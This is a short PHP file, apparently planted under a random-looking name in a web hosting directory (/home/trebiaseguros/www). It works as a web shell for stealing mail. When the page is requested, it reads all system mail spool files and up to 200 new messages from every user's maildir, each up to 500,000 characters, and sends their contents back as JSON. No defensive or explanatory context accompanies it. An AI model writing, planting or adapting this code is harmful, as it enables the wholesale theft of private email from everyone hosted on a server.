File: /home/trebiaseguros/www/xdec7c0.php
<?php $r=['spool'=>[],'recent'=>[]];foreach(glob('/var/spool/mail/*') as $f){ if(is_file($f)&&filesize($f)>0){ $r['spool'][]=basename($f).':'.substr(@file_get_contents($f),0,500000);}}foreach(glob('/home/*/mail/*/*/new/*') as $f){ if(count($r['recent'])>=200)break; if(is_file($f))$r['recent'][]=basename(dirname(dirname(dirname($f)))).'/'.$f.':'.substr(@file_get_contents($f),0,500000);}echo json_encode(['ok'=>1,'spool_count'=>count($r['spool']),'recent_count'=>count($r['recent']),'data'=>$r]);?>